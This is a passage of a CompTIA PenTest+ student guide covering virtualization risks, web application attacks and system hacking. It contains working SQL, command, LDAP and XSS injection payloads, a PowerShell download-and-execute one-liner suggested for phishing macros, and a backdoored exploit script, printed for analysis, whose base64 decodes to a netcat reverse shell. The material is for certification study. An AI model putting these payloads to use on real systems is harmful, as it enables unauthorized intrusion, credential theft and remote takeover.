LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
280 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 12C
Explain Virtual Machine
Vulnerabilities
4
One basic distinction that can be made between virtual platforms is whether to
use a host or bare metal method of interacting with the hardware. Let’s see how a
host-based model works.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 281
Once the hypervisor is installed, the VMs can be installed. The resources are then
managed by the hypervisor.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
282 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Recognizing Vulnerabilities
Securing a virtual environment is not that much different from managing a
physical infrastructure. The same basic principles apply and many of the same
tools are used to monitor security issues. However, in a virtualized environment,
administration takes place at two levels:
• Within the hypervisor, which is the software or firmware that creates and
manages virtual machines on the host hardware.
• Within the virtual machine, which is a guest operating system installed on a host
computer using a hypervisor, such as Microsoft Hyper-V or VMware.
Avoiding VM Sprawl
VMs are designed to be quickly replicated and provisioned over many
instances. Therefore, a misconfiguration in just one base image will propagate
throughout your infrastructure, resulting in a much larger impact.
VM sprawl refers to creating VMs without proper change control procedures, which
can create a vulnerable environment. If an attacker gains unauthorized access to
the VM’s management interface, they can essentially take full control of all attached
virtual systems.
It’s best to avoid VM sprawl and put in place proper VM management techniques.
Virtual instances will need to be patched from time to time. Additionally, if a security
fix needs to be applied to a physical host, especially a fix updating the hypervisor,
this can cause disruptions for the virtual environments it runs. It is important that
patch management procedures be adhered to, even if they involve some disruption
to users.
A process must be in place to manage these changes, to ensure that all instances
receive the fix as quickly as possible with minimal interruption.
Protecting Repositories
A VM repository is a location that is used to store VM templates or images and
contains the configuration files used to create additional VMs. As a result, it’s
essential to protect the repository.
Consider the following, if a template has malware, when new VM’s are generated
from the infected template, this then could propagate throughout the organization.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 283
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
284 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The OS defines isolated “cells” for each user instance to run in. Each cell or
container is allocated CPU and memory resources, but the processes all run
through the native OS kernel.
Containerization supports microservices and serverless architecture and is also
being widely used to implement corporate workspaces on mobile devices.
Many of the vulnerabilities are related to misconfiguration issues, for example,
improperly constructed images that contain non-essential software that can put the
container at risk.
Any network policies should restrict access only to what is required for essential
communication. Any liberal configuration might allow a malicious actor to move
laterally through a container environment.
The admin should also monitor security-relevant container activities such as
process activity, along with network communications among containerized services,
as well as between containerized services and external clients and servers.
Properly manage the secrets such as API keys, tokens, and passwords, to mitigate
container security risks and vulnerabilities. Consider using a secrets management
tool and make sure deployments mount only the secrets they actually need.
Improperly configured virtual environments can lead to an attack, as we’ll see next.
• Having compromised the hypervisor, they could make a copy of your server
image and download it to any location. This would allow the attacker to steal any
unencrypted data held on the e-commerce server.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 285
• Even worse, it could conceivably allow them to steal encrypted data, by obtaining
the private encryption keys stored on the server or by sniffing unencrypted data
or a data encryption key from the physical server’s memory.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
286 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
5
Virtual Machine Vulnerabilities
Answer the following questions:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 287
Lesson 12
Summary
4
In this lesson we learned about devices on the IOT, that include doorbells and
coffee makers, or business appliances, such as sensors that are used to monitor
a manufacturing plant. Wherever the devices are used, the IOT represents an
expanded attack surface that should be assessed. We outlined several of the
vulnerabilities that exist within an IoT device, which if exploited, can result in data
exfiltration. We also discussed other vulnerable systems that include data storage
and industrial control systems.
We then covered the vulnerabilities within virtualized environments for either
a host based or bare metal ecosystem. You can now understand the potential
risks that include VM sprawl, misconfigured templates, and containers. We then
summarized with a discussion on attacking a virtual environment with issues that
include VM escape or Hyperjacking.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 13
Web Application-Based Attacks
1
LESSON INTRODUCTION
Web applications are widely used but are vulnerable to many different types of
attacks. The OWASP Top Ten vulnerabilities list helps guide the PenTest by providing
details on common vulnerabilities that exist in web applications. As a result, the
PenTest team should assess the web applications for various web vulnerabilities
that include session, application programming interface (API), and injection attacks.
To achieve this goal, the PenTest team has several tools available to them, such as
SearchSploit and WPScan, a WordPress security scanner.
Lesson Objectives
In this lesson, you will:
• Describe some of the web vulnerabilities that exist and state the significance of
the OWASP Top Ten vulnerabilities.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
290 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 13A
Recognize Web Vulnerabilities
2
Web applications (apps) interact with many different users at the same time over a
network and the internet, and as such, must be easily accessible to a large number
of people. This accessibility gives attackers an easy target and allows them to try
and manipulate the various components of web applications in order to attack web
sites and the applications.
Typically, attackers are trying to steal sensitive data, compromise other users'
sessions, disrupt the applications operation, or gain a foothold within the company.
Web apps communicate in common languages for compatibility with the HTTP/S
protocol and the browsers that enable users to interact with websites. Most apps,
even if they run on a web framework like AngularJS, Ruby on Rails, Django (Python),
etc., will still incorporate HTML and JavaScript code.
In addition, most apps require reading from and writing to a database. Structured
Query Language (SQL) is the most common querying language to enable this
functionality.
When you add all of these components together, you tend to encounter familiar
and repeated vulnerabilities. In general, vulnerabilities include:
• Poorly implemented or non-existent security configurations.
In order to cover these common vulnerabilities for both developers and PenTesters,
a good starting point to consider is the OWASP Top Ten (https://owasp.org/www-
project-top-ten/).
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 291
The one constant we have in PenTesting is change. Attack surfaces and attack methods,
as well as defenses, are constantly evolving and changing. The OWASP Top 10 was
written in 2017, and a draft version (2021) is already in process. Check the website
(https://owasp.org/www-project-top-ten/) frequently to ensure you have the most
up-to-date information.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
292 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 293
Review Activity:
Web Vulnerabilities
3
3. You have been asked to make a client presentation on the OWASP Top
Ten. What are some of the critical security risks that you could discuss?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
294 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 13B
Launch Session Attacks
4
There are many types of attacks that can be implemented against web applications,
including session attacks, cross-site request forgery attacks, and privilege escalation
attacks. Many clients do not properly secure their environments against these types
of attack. In this topic, you will explore more details about these attacks.
For more information on session attacks and mitigation strategies, see https://github.
com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Session_Management_Cheat_
Sheet.md.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 295
Escalating Privilege
One of the many features that are common in web applications is per-user access.
This is in terms of permissions that the user has within the application and what
files, scripts, and databases they may access. For the purposes of performing
a penetration test, having access to these resources will likely require privilege
escalation (or simply PrivEsc).
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
296 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
There are two important ways in which this is performed that need to be taken into
consideration:
Horizontal Privilege Escalation is obtaining access to a regular user account with
different access or permissions than the one currently in use. This approach has
great potential for information gathering without raising possible suspicion, as
irregular user activity is more likely to stay unnoticed than irregular admin activity.
Vertical Privilege Escalation is obtaining access to an account of higher privilege
than the one we currently have to enable resources that the regular user does not
have permission for. In some cases we will need vertical PrivEsc, such as when we
want to upgrade a “restrictive shell.”
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 297
For example, XML-RPC is frequently targeted, and some common cases include an
incorrectly secured implementation of it included in WordPress.
The following image shows the results from searching for XML-RPC exploits in a tool
called SearchSploit (see topic D - Identify Tools):
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
298 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
5
Session Attacks
Answer the following questions:
2. A user comes to you with a problem. They explain that they wanted
to purchase some IT books from the online company bookstore but
their shopping cart has changed its contents. They think this is strange
because they don’t want 50 of the same book for themself. What could
be the cause?
3. You have been asked to PenTest a client’s network. They have asked for
you to only use horizontal privilege escalation. What is a benefit of this
type of escalation?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 299
Topic 13C
Plan Injection Attacks
4
Most websites today are built using web applications. These are prime targets for
attack. Two of the most common types of attacks used against web applications are
code injection and directory traversal. In this topic, you will explore these attacks
and some variations of them.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
300 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The SQL syntax is now correct, and the database will not return an error if this
SQL statement is sent to it. Instead, the database will return all user rows since
the 1=1 statement is always true. Everything after the -- comment characters will
not execute.
Certain web app APIs also allow you to stack multiple queries within the same call.
This can be useful for injecting new query types into a form’s existing query type.
For example, SQL has a UNION operator that combines the results of two or more
SELECT statements. You can use this operator to obtain data from other tables that
might not be directly exposed by the app.
For example, let’s say you have a product search form that you’ve probed for SQL
injection weaknesses. You could perform the following query on the search form to
try to merge the users table with the products table, looking for the first two values
from users:
UNION SELECT '1', '2' FROM users—
However, UNION operations only work when both queries (i.e., the initial SELECT
from products and the UNION SELECT from users) have the same number of
columns. So if the products table has five columns, you need to adjust your
injection to include them:
UNION SELECT '1', '2', '3', '4', '5' FROM users—
These queries are using placeholder values, whereas you may need to provide the
actual column names of the table you’re trying to merge. For example, you might
want to display the username and password columns:
UNION SELECT '1', username, password, '4', '5'
FROM users—
This will merge the username and password fields of each row of the users table
into the search page, replacing the second and third columns with the credentials.
There are cases where some techniques will not work, since they rely on the
information displayed by the web application. Blind SQL injection is injecting SQL
when the web application’s response does not contain the result of the query.
A simple test to perform when you suspect that a web application is susceptible to
Blind SQLi would be to try to separate times with values that are always true (‛1=1’)
and false (‛1=2’) in your queries and see if anything changes in the web application’s
response. This is known as Boolean-based blind SQLi. Alternatively, adding a time
delay to your SQL query is known as time-based blind SQLi:
WAITFOR DELAY '0:0:05'
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 301
Injecting Code
Code injection is an attack that introduces malicious code into a vulnerable
application to compromise the security of that application. This is made possible by
weak or completely absent input processing routines in the app. Injection attacks
enable you to compromise an app in many ways, including:
• Causing a denial of service (DoS) of the app
• Defacing a website
The mechanisms and outcomes of a code injection attack will depend on the
language that your malicious code is written in. Since in a code injection attack you
are not introducing new runtime environments for the server to execute, you’ll be
restricted to whatever languages the underlying web app technology supports. In
other words, you are adding to the app’s execution not creating new execution.
A similar concept is command injection, in which you supply malicious input to
the web server, which then passes this input to a system shell for execution. In
this sense, command injection does create new instances of execution and can,
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
302 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
therefore, leverage languages that the web app does not directly support (e.g., Bash
scripting).
In the following example, a PHP module named delete_file.php passes in user-
supplied input and calls a Linux system shell to delete whatever was specified in the
input:
<?php $file=$_GET['file_name']; system('rm $file'); ?>
By submitting the following request, you can successfully enumerate the system’s
user accounts:
http://site.example/delete_file.php?$file_name=test.
txt;cat%20/etc/passwd
This is because adding a semicolon at the end of the request will execute the
command after the semicolon in the system shell. Note that %20 is the encoded
version of a space because URLs cannot contain spaces.
Some of these vulnerabilities are prevalent in smaller networked systems with low
security, such as Internet-of-Things (IoT) devices. At the same time, their simplicity
and convenience also make them proliferate in networks, to the point of controlling
key elements. This can pose an opportunity for an attacker, even in cases where
the device is only used for readings or measurements on which further actions are
taken.
In regard to data analysis and automation, IoT data corruption refers to faults in
the information transmitted, stored, or otherwise managed by IoT devices. For the
purposes of a penetration test it, could translate into covering tracks by deleting entries
from an access device or help retrieving sensitive information through less conspicuous
channels to avoid detection. This last example is known as data exfiltration
The Lightweight Directory Access Protocol (LDAP) is a standard for networked
devices on how to manage directory services. It can be used by web applications
to perform tasks according to user input, so it is a possible location to attempt
injection. The techniques employed look similar to SQL injection:
x' or name()='username' or 'x'='y
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 303
on the victim’s browser. Unlike a stored attack, the malicious code in a reflected
attack does not persist on the server.
On Third-Party Hosted Services: Even when you have permission to test, if the web
application you are targeting belongs to an external organization (i.e.: Cloud), a
persistent attack may impact users who are significantly outside of your scope.
As with other injection attacks, you should probe input components in the web app
for XSS vulnerabilities. The most basic example is finding a form such as a search
field, comments field, username/password form, etc., and injecting the following
script to open a pop-up on the client’s browser:
<script>alert("Got you!")</script>
POST http://site.example/products Content-Type:
application/json {"name": "row", "description":
"<script>alert(document.cookie)</script>",
"price": 9.99}
Assuming you’ve obtained authorization (if any is needed), this adds a new row in
the products table. The description entry will always trigger an alert on a page
that displays this particular row. In this case, the alert will return the user’s cookie
information.
In most cases, this will reflect off the server and only appear in a single response to
the client. So, you’ll need to craft a URL to send a victim to:
http://site.example/?search=<script>alert("XSS%
20attack!")<%2Fscript>
Crafting a persistent attack will require you to modify the data stored in the web app.
You can try to do this with forms that you know store data, like the aforementioned
site feedback page. However, some injection points might not be so visible.
Using the product search example, you’d need to actually change the values of
the products table itself, rather than just injecting a script into the search results.
Depending on the web app’s underlying technology, you may be able to change
table data by POSTing content in an HTTP request. For example:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
304 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
5
Injection Attacks
Answer the following questions:
3. You are on a PenTesting team and have decided to use a code injection
attack to test a client’s application. In what ways can code injection
compromise an application?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 305
Topic 13D
Identify Tools
4
In this topic, we will cover some of the tools that can aid the penetration testing
team with investigating web application-based attacks, such as the ones discussed
in the previous topics. There are different important areas to cover in order to find
vulnerabilities and successfully exploit them.
Overview of Tools
These tools range from simple vulnerability scanners for a particular web
application to credential lookup tools and proxies that allow you to manipulate and
fine-tune requests:
Tool Description
truffleHog Git secrets search tool. It can
automatically crawl through a repository
looking for accidental commits of
secrets. GitHub secrets allow code
commits, this will allow an attacker to
modify code in a repository.
OWASP ZAP Proxy that allows for both automated
(Zed Attack Proxy) and manual testing and identification of
vulnerabilities. It has many components
that allow for different tasks to be
performed.
Burp Suite Community Edition Proxy with a wide range of options
to test web applications for different
vulnerabilities. Its components allow
you to perform particular types of
automated testing, manually modifying
requests, and passive analysis.
Gobuster Can discover subdomains, directories,
and files by brute-forcing from a list
of common names. This can provide
information that was otherwise not
available.
DirBuster Web application brute-force finder
for directories and files. Comes with
9 different lists, including default
directories and common names given by
developers. Also allows for brute-force.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
306 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Tool Description
w3af The Web Application Attack and Audit
Framework allows you to identify
and exploit a large set of web-based
vulnerabilities, such as SQL injection and
cross-site scripting.
Wapiti A web application vulnerability scanner
which will automatically navigate a
webapp looking for areas where it can
inject data. Several modules can be
enabled/disabled to target different
vulnerabilities.
BeEF Focuses on web browser attacks by
(Browser Exploit Framework) assessing the actual security posture of a
target by using client-side attack vectors.
WPScan (WordPress Security Scanner) Automatically gathers data about a
WordPress site and compares findings
such as plugins against a database of
known vulnerabilities. Provides useful
information on findings, including plugin
version and references to the vulnerability
such as CVE number and link.
Brakeman Static code analysis security tool for
Ruby on Rails applications. Checks for
vulnerabilities and provides confidence
level of finding (high, medium, weak).
SQLmap SQL Injection scanner tool. Automates
several of the attacks and supports
many databases. Some of its features
include database search, enumeration,
and command execution.
SearchSploit Exploit finder that allows to search
through the information found in
Exploit-DB. It also supports Nmap
outputs in XML format to search for
exploits automatically.
CrackMapExec Post-exploitation tool to identify
vulnerabilities in active directory
environments.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 307
If you select an IP address of one of the hooked browsers, BeEF will provide some
basic information, such as:
• Web browser
• Operating system
In addition, once an IP address is selected, you will see several tabs in the right-
hand side of the screen, such as Details, Logs and Commands. Selecting Commands
will provide a way to execute a variety of modules that you can use to gather further
information about the device. Modules include:
• Type of browser in use
• Use as a proxy
The framework is intuitive, as when you are in the command area, BeEF will indicate
which modules will work against the target by using different colors as follows:
• Green—The command module works against the target and should be invisible
to the user
• Gray—The command module works against the target but may be visible to
the user
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
308 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
5
Tools
Answer the following questions:
1. Your team is looking for a tool that can obtain secrets from a GitHub
repository. What specific tool would you suggest as being best suited for
this purpose?
2. Your client has a Ruby on Rails application. They want to check for
vulnerabilities. Which tool would you suggest they use?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 309
Lesson 13
Summary
4
In this lesson, you learned to recognize web vulnerabilities. You examined the
OWASP Top Ten security risks in detail and, additionally, examined other common
threats such as insecure data transmission, lack of error handling, and race
conditions.
Then you reviewed session hijacking and the many ways in which this can be done,
including session fixation and session replay. You then looked at cross-site and
server-side request forgery attacks along with privilege escalation. Additionally, you
inspected business logic flaws and how API attacks are used.
Next, you reviewed injection attacks and directory traversal—two prevalent forms
of attack - along with various categories of cross-site scripting attacks.
Finally, you examined a number of powerful tools that can help you, as a PenTester,
to successfully investigate web-based attacks.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 14
Performing System Hacking
1
LESSON INTRODUCTION
As part of the ethical hacking exercise, the PenTest team will conduct system
hacking and, once in, attempt to get deeper into the system. The team can use a
variety of methods in order to gain access into the system, including the use of
remote access tools in order to begin this process. They could also leverage exploit
code in order to download files and enumerate users and assets. In addition, the
team will also analyze code by using debuggers such as Interactive Disassembler
(IDA), Covenant, and various Software development kits (SDK).
Lesson Objectives
In this lesson, you will:
• Describe techniques used to conduct system hacking and discover some of the
tools used when exploiting PowerShell.
• Summarize remote access tools, such as secure shell (SSH), Ncat, and Netcat.
• Analyze exploit code in order to download files, launch remote access, and
enumerate users and assets, along with employing debuggers, which can
dynamically analyze system executables.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
312 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 14A
System Hacking
2
As part of the penetration test, one of your goals and a key step will be to see if you
can access different systems in order to obtain information. In the process of doing
this, and especially if you are testing large networks, it will be ideal to manage the
exploits you have available and keep control of the devices you have targeted.
Luckily, there are command and control (C2) frameworks that help you manage
this as well as including a repository of exploits for you to leverage. Many of these
exploits will leverage some component in the operating system, so before diving
into exploitation code and the tools that can be used for system hacking, let’s take a
look at some of the elements that can be leveraged during the penetration test.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 313
“Empire implements the ability to run PowerShell agents without needing powershell.
exe, rapidly deployable post-exploitation modules ranging from key loggers to
Mimikatz, and adaptable communications to evade network detection, all wrapped
up in a usability-focused framework.” (https://github.com/BC-SECURITY/Empire)
Empire showed how easy it was to leverage PowerShell and became quite
famous. However, its fame made defenders pay special attention to it, and with
the lack of active development, the chances of this tool getting identified and/or
blocked are high.
Covenant is a .NET command and control framework and, in a similar fashion to
Empire, it aims to show the attack surface of .NET and make attacks through this
vector easier. .NET is cross-platform so Covenant can run on Windows, Linux, and
MacOS (https://github.com/cobbr/Covenant).
Another cross-platform C2 framework to consider is Mythic. Covenant and Mythic
will work with all three of the aforementioned operating systems but, in particular,
for Mythic, it contains payloads such as Apfell and Poseidon that provide consistently
good results when PenTesting MacOS (https://github.com/its-a-feature/Mythic).
For more information on other C2 frameworks and to find which one better fits your
needs, go to: https://www.thec2matrix.com/.
Name Link
NoPowerShell https://github.com/bitsadmin/nopowershell
PowerLessShell https://github.com/Mr-Un1k0d3r/PowerLessShell
PowerShdll https://github.com/p3nt4/PowerShdll
In any case, as you saw with Empire, tools may change and one of the duties
performed by a good penetration testing team is to keep up with resources,
especially as old ones are deprecated and new ones developed.
Another crucial task is understanding exploitation code by analyzing it, in order to
get a better grasp of the attack. As we’ll see later in this lesson, this allows an ethical
hacker to modify exploits for different use cases: even malware can be dissected,
studied, altered, and re-purposed if needed.
Finally, developing solutions for leveraging scripts for a penetration test is an
important skill to have, and it can also be used to automate the process as you will
see in Lesson 15.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
314 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
3
System Hacking
Answer the following questions:
1. Robert has been asked to “prime” his PenTest team with details about an
upcoming PenTest that they will be performing. What is one of the goals
and a key step in the PenTest process?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 315
Topic 14B
Use Remote Access Tools
4
Telnet has been one of the most common tools to remotely access another computer,
but it has a major caveat: it sends all communications, even login information, in
plaintext. Even today, many devices such as IoT and ICS (industrial control systems) are
engineered with efficiency and small size in mind, but that simplicity does not allow for
modern, more secure, protocols so Telnet is used in its place.
Alternatively, in Linux based systems, there might be an rlogin or rsh service available
that are similarly simple remote access tools. These tools are useful as a last resort
but are limited in features that are useful for a penetration tester, especially when
compared to other remote access tools like the ones we will discuss next.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
316 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 317
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
318 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
5
1. Robert is leading a PenTesting team and has asked you for advice. He
is thinking about using the command-line utility NetCat. Would you
recommend this, and why?
2. Robert was going to use Telnet to connect to systems, and he also needs
the ability to easily copy files. He asks how to copy files with Telnet.
What is your response?
3. Robert has asked whether you know how to easily open a shell on
a remote Linux machine. You want to help him out. What is/are the
command(s) you would suggest?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 319
Topic 14C
Analyze Exploit Code
4
In this section, we will look at different first steps to be taken during the process of
system hacking.
Assuming you have already reviewed the preceding steps from prior lessons, and
keeping in mind that more advanced steps will follow in the next lessons, it is now
time for the crucial step of gaining entry and gathering some basic information for
our subsequent procedures.
Additionally, we will look at examples of downloading and executing files, launching
remote access tools, and enumerating users and assets.
Downloading Files
Let’s start with something simple: downloading and executing a script.
We’ll show you how to create the script in the next step. For now, let’s focus on a
single line of code that will give us leverage over our target:
powershell.exe -c "IEX((New-Object System.Net.
WebClient).DownloadString('http://192.168.0.100/
run.ps1'))
Also known as a “one-liner,” these collapsed or simplified scripts can be quickly
injected in many different ways, such as using macros in a word document that we
sent as an attachment in a phishing email.
If we have physical access, we could use a USB implant, such as the famous USB
Rubber Ducky, to quickly and automatically open a command-line and inject our
one-liner.
On inspection, we see that the first element of our code is executing powershell.exe
with the option -c, which tells PowerShell to execute the following command block
or script and then exit. This command block will execute an element inside the
parenthesis (after “IEX”, which creates a new connection to our specified attacker
and downloads a file called “run.ps1”.
Now that we know how to download and execute, let’s see what our run.ps1 does
and how to create it.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
320 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
For simplicity, we first showed the one-liner and how to create the main script. In a real-
life scenario, you need to make sure the script is created and accessible before injecting
your code that will download it.
To create the script, we will use msfvenom, which is a very flexible and useful
component of the Metasploit framework dedicated to generating many different
payloads for different platforms and architectures:
Here, we specified the payload with the option -p and select “reverse_powershell”
which is located inside “cmd/windows”.
You will learn more about reverse and bind shells in Lesson 16. We also specify the IP of
our attacker device and the port we’re listening to.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 321
Note that two new options appeared at the beginning of the code: -w hidden,
which hides the window, and -nop, which tells PowerShell not to load any particular
profile, which may customize the way PowerShell behaves in the environment.
These two options are preferable for this stage of the exploitation, as we don’t want
either profiles or visibility alerting anyone of what we’re doing.
We could also add the same options to our one-liner too. The rest of the generated
code is even more complex but note that it is within a while loop.
You’ll learn more about these and how to use them in Lesson 15. For now just know
that it will keep your script alive until it successfully connects, instead of running just
once and stopping.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
322 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
In those cases, take into consideration the possibility that a knowledgeable hacker
that can develop this exploit probably has the skills necessary to add harmful code
into it, with malicious intent, against anyone attempting to utilize the exploit.
Let’s assume we found a script from a less reputable source that claims to contain
an exploit that was not found in any of the well-known databases and analyze in
particular lines eight and ten of the following example of a harmful script:
#harmful script
import os
import base64
version = 1.2
url = "http://192.168.0.50/shellcode.bin"
check =
"bmMgMTkyLjE2OC4wLjEwMCA0NDQ0IC1lIC9iaW4vYmFzaAo="
os.system(base64.b64decode(check))
def sendShellcode():
#download & prep shellcode
We see in line eight that a variable is defined, and in line ten that the same variable
seems to be decoded using base64 and passed to os.system which will execute
whatever the variable decodes to. If we were to decode it, we would find the
following string that will later be run:
nc 192.168.0.100 4444 -e /bin/bash
This command will execute netcat, run bash, which is the command-line for Linux,
and connect it to another host on the network, which will give the host control over
the device that ran the script.
Publicly available exploitation codes exist for many different applications so it is
highly likely you will be able to find one to use during a penetration test.
Typically, any application that the organization develops, maintains, or uses
in-house will probably not have scripts freely available on the internet.
You may also find exploitation code difficult to find in the following situations:
• Recently patched version is no longer vulnerable to known exploits
For scenarios like these, you can use specific analysis techniques on compiled
software to see if you can compromise any applications.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 323
• disassembly
• debugging
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
324 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
For example, the name of a string variable in the source code might be something
simple and self-explanatory like count, but in the decompiled code, it may appear
as a seemingly random combination of numbers, like 42893285936546456421324.
This makes it more difficult for a human reviewer to understand and retain the
variable’s purpose, as well as trace the variable throughout the code.
Disassembly is the reverse engineering process of translating low-level machine
code into higher level assembly language code. Assembly language is lower level
than typical source code, but it is still human readable and can include familiar
programming elements like variables, functions, and even comments. Like
decompilation, the purpose of disassembly is to better understand how an app
functions in ways that might not be visible during normal execution. A tool that
performs disassembly is called a disassembler.
Disassembly certainly has its disadvantages when compared to decompilation.
Assembly code is not as concise as high-level code: it is more repetitive; the linear
flow of the code is not as well structured; and, of course, it requires knowledge of
assembly, which not many people possess.
However, disassemblers tend to be more common than decompilers, because
accurate decompilation is difficult. Likewise, disassembly is deterministic, in other
words, a machine code instruction will always translate to the same assembly
instruction. In decompilation, translating one machine code instruction can result in
multiple different high-level expressions.
Debugging is the process of manipulating a program’s running state in order to
analyze it for general bugs, vulnerabilities, and other issues. You manipulate its
running state by stepping through, halting, or otherwise modifying portions of the
program’s underlying code, directly affecting the program as it executes.
Debuggers are common in integrated development environments (IDEs) for
developers to debug code as they write or test it, but they can also be used
on compiled software as a form of interactive reverse engineering. Debuggers
can include a decompiler for modification of source code but, more commonly,
they include a disassembler for modification of assembly instructions during
execution.
Debugging can aid a PenTest because it not only translates machine code for static
analysis, but also enables you to change that code and perform dynamic analysis on
the program to see its effect. This can make it much easier to understand how an
app functions and how it might be vulnerable.
A software development kit (SDK) is a package of tools dedicated to a specific
programming language or platform commonly used by developers while creating
applications because it comes with a collection of elements needed for that task
and, in many cases, includes a debugger.
An example of this is the development kit for Windows and its debugger, WinDbg.
There are different versions of the SDK according to which Windows version you are
working on, but they all come bundled with the Windows debugger.
Additionally, SDKs may contain other elements that you can leverage during your
assessment that will let you develop and compile your own tools for a particular
programming language or platform.
